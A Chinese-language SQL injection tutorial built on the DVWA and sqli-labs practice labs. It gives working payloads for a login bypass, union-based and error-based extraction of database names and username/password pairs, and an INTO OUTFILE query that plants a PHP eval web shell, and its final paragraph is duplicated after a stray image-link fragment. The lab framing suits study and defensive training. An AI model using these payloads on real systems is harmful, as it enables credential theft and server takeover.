1.select语句
格式:
select * from table(从table表中获取字段信息)
select * from table where (在满足where后的条件下查询字段信息)
2.insert语句
格式:
insert into table(field1,field2) values(value1,value2)
3.update语句
格式:
update table1 set field1=value1 where
4.delete语句
格式:
delete from table1 where
5.order子句
ORDER BY 语句用于根据指定的列对结果集进行排序。
ORDER BY 语句默认按照升序对记录进行排序
如果想要把结果集按照倒序,则需要加上desc关键字
在sql注入中经常利用order by子句显示目标有多少字段
6.and和or运算符
AND 和 OR 可在 WHERE 子语句中把两个或多个条件结合起来。
如果第一个条件和第二个条件都成立,则 AND 运算符显示一条记录。
如果第一个条件和第二个条件中只要有一个成立,则 OR 运算符显示一条记录。
and 和 or的用处在万能密码中就可以体现出来:
Select * from admin where username=’admin’ and password=’’ or 1=1
在sql语句中,and的优先级是大于or的。username=‘admin’的条件(1)为真,password=’'的条件(2)是假的
那么1 and 2=false,在与第三个条件 1=1(3)为真 进行 false or 3=true,结果就是真。 所以,有时候在执行sql注入,执行的语句后就会加上 or 1=1,目的就是利用sql and 和 or 运算符的优先级的差别,来达到用户想要的目的(语句为真,执行输入的语句)
所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。
简单的说就是网页的后台没有对用户发送的语句(以参数的方式传递)进行过滤,使得用户发送的语句直接被sql解释器执行。
我们可以利用DVWA平台去分析sql注入的原理,DVWA的平台搭建和sqli-labs和upload-labs类似,首先需要php运行环境。把下载的文件夹放到网站根目录(WWW)。
if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
$id = $_REQUEST[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( ''
. ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
$html .= "ID: {$id}"; } mysqli_close($GLOBALS["___mysqli_ston"]); } ?>
First name: {$first}
Surname: {$last}
如果用户在userid文本框输入ID,输入的语句就会作为id参数的值通过GET(POST)方法提交到后台。通过sql解释器执行,并返回数据库查询的结果。也就是说,如果id传入的不只是一个数字,而是一条语句那么id的值就会被sql解释器执行。例如,用户令id=1’ and 1=1 order by 4 #,那么$query就会变成
$query="SELECT first_name,last_name FROM users WHERE user_id='1' and 1=1 order by 4#"
这样就能查询数据库信息了
sqli-labs是基于php环境的平台,使用前需要安装php集成环境(php+apache+mysql,部分关卡需要tomcat+java+mysql)。
sqli-labs下载地址:https://github.com/Audi-1/sqli-labs
这里还有一个sqli-labs原作者的教程:https://www.bilibili.com/video/av24783387?t=69
下面结合sqli-labs上的一些基础题目来介绍一些简单的sql注入方式。
在了解题目要求之前,我们先来认识一下sql语句中union操作符。
union操作符的作用是合并多个select语句的结果集,但是使用union时,要保证union操作符内部的select语句要有相同的列
具体语法:
select column1 from table1 union select column2 from table2
注意:union操作符是不会返回相同的值。
union all
作用与union类似,都是合并多个select语句的结果集,但是可以返回重复的值。
题目要求:让用户上传一个参数’id’。
1.判断注入点
首先我们要找到注入点,判断注入点的常用方法之一就是在参数后加上一个单引号或双引号(因为sql语句添加引号会影响到sql语句的闭合,从而报错),如果报错,就可能存在注入点。当然,手工判断注入点的方法还有利用and运算符(and 1=1,and 1=2 ,and ‘1’=1),利用特殊字符报错等等,在这里,就不详细介绍了。
通过尝试可以发现添加单引号后页面会有报错信息,说明页面存在注入点。
接下来就可以构造?id= 1’ ****语句实现注入了。
2.使用 order by子句判断数据库的列数
前面已经介绍了order by子句的作用,当order by子句后面的数字大于当前数据库的列数,语句就会出错。
输入id=1’ order by 4–+发现页面返回信息 “unknown columns ‘4’” 说明当前数据库的列数是小于4的。
输入id=1’ order by 3–+发现页面返回了用户的name password 说明当前数据库的列数刚好等于3,下面就可以构造 select 1,2,3 ***** 来获取数据库的相应信息了。
3.利用 information_schema库
如果继续学习sql注入就会发现select语句经常会用到information_schema这个库来获取数据库的(表,列,字段)的信息。information_schema是mysql自带的数据库,只要用户安装了mysql,在安装的同时,information
_schema这个数据库就会安装到用户的系统中.
在MySQL中,把 information_schema 看作是一个数据库,确切说是信息数据库。其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权 限等。也就是说information_schema中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权限等。因此,在sql注入中就可以利用information_schema这个库获取其他数据库的信息.
SCHEMATA表:
SCHEMATA 表存储了 Mysql 数据库中所有库相关的信息,比如订单库、用户库这种不同的库。可以在mysql命令行中使用下述语句进行查看:
select * from information_schema.schemata;
TABLES表:
TABLES 表存储了 Mysql 数据库中表的信息。会记录这张表是属于哪个数据库(TABLE_SCHEMA),是做什么的表(表注释),多会创建的(CREATE_TIME),有多少行数据(INDEX_LENGTH)等信息。
select* frominformation_schema.TABLES;
COLUMNS表:
COLUMNS 表存储了 Mysql 数据库中每张表中的列信息。会记录这列是属于哪张表(TABLE_NAME)、以及哪个库(TABLE_SCHEMA)、这列的数据类型是什么、列的注释(COLUMN_COMMENT)等信息。
select* frominformation_schema.COLUMNS
COLUMNS 表中字段 COLUMN_COMMENT 是关于列的注释信息,一般会标明这个列是什么字段,不同的数字代表什么含义(0代表什么、1代表什么)。
4.开始注入
获取数据库的名字:
?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata--+//group_concat()函数是把一组中的非NULL字符串合并为一个字符串的函数
获取security数据库的表名:
?id=-1' union select 1,group_concat(table_name) ,3 from information_schema.tables where table_schema='security'--+
获取users表的列:
?id=-1' union select 1,group_concat(column_name),3 from infromation_schema.columns where table_name='users'--+
获取username ,password:
?id=-1' union select 1,group_concat(concat_ws(':',username,password)),3 from users--+//concat_ws函数是把一组非NULL字符串拼接为一个字符串,与concat函数相比主要不同是可以一次指定分隔符
这关如果直接用联合查询的话,页面只会返回"You are in",而不能返回数据库的信息。这时我们就可以尝试别的方法,比如时间注入,报错注入,布尔注入等等。在这一关可以使用报错注入来返回数据库的信息。
1报错注入的原理:
正常用户访问服务器发送id信息返回正确的id数据。报错注入是想办法构造语句,让错误信息中可以显示数据库的内容;如果能让错误信息中返回数据库中的内容,即实现SQL注入。
2.利用group by和rand()的冲突直接报错注入
group by的作用和order by的作用类似,都是对结果集排序(默认升序).而rand()是产生随机数的函数,类似于java的Math.random()。产生一个[0,1)区间的数.如rand()*2,则产生一个[0,2)区间的数。当rand() 和order by 在一起使用时,就会发生冲突。
由于rand和order+by的冲突,即rand()是不可以作为order by的条件字段,同理 也不可以为group by的条件字段。floor(rand(0)*2) 获取不确定又重复的值造成mysql的错误
rand和group by冲突的具体原因
3.开始注入
获取数据库的名字:
?id=1' union select 1,count(*),concat(':',(select database()),':',floor(rand()*2))a from information_schema.schemata group by a--+
其中concat函数的作用和之前group_concat()函数类似也是把一组非NULL字符串拼接为一个字符串。a是 as a的别名。然后返回值不能超过1行数据,所以如果里面的select获取的是多行数据时要加limit(查询多组用limit选择)
获取表:
?id=1' union select 1,count(*),concat(':',(select table_name from information_schema.tables where table_schema='security' limit 0,1),':',floor(rand(0)*2))a from information_schema.tables group by a--+
获取列:
?id=1' union select 1,count(*),concat(':',(select column_name from information_schema.columns where table_name='users'limit 0,1),':',floor(rand(0)*2))a from information_schema.columns group by a--+
获取username, password:
?id=1' union select 1,count(*),concat(':',(select concat_ws('`',username,password) from users limit 0,1),':',floor(rand(0*2))) a from users group by a--+
先在id=1后加上单引号和双引号,页面都显示正常,但是在参数后加上注释,会报错,说明系统过滤注释符。并且sql语句id参数前后很有可能加了(),尝试了很多次发现构造:“id’ =1 ))”,可以使注释不被过滤。
但是之后尝试 union,报错注入发现不能返回需要的信息(可以用布尔和时间盲注)。不过,本题提示利用file权限向服务器传入文件。那么,先看看是否能传入
构造语句:
http://localhost/sqli-labs-master/Less-7/?id=1’)) and (select count(*) from mysql.user)>0–
返回正常说明我们有这个权限.
然后把一句话木马发送到网页,构造语句:id=-1’)) union select 1,2,"
@eval($_POST[‘shell’])?> into outfile “***** \test.php” (******为网页的目录,test.php为上传的一句话木马文件)。
连上中国菜刀,发现能够连接成功,说明注入成功(网页根目录有一句话木马说明上传成功)。
#0x09
0L3p5ZGJrMTIzNDU2,size_16,color_FFFFFF,t_70)
然后把一句话木马发送到网页,构造语句:id=-1’)) union select 1,2,"
@eval($_POST[‘shell’])?> into outfile “***** \test.php” (******为网页的目录,test.php为上传的一句话木马文件)。
连上中国菜刀,发现能够连接成功,说明注入成功(网页根目录有一句话木马说明上传成功)。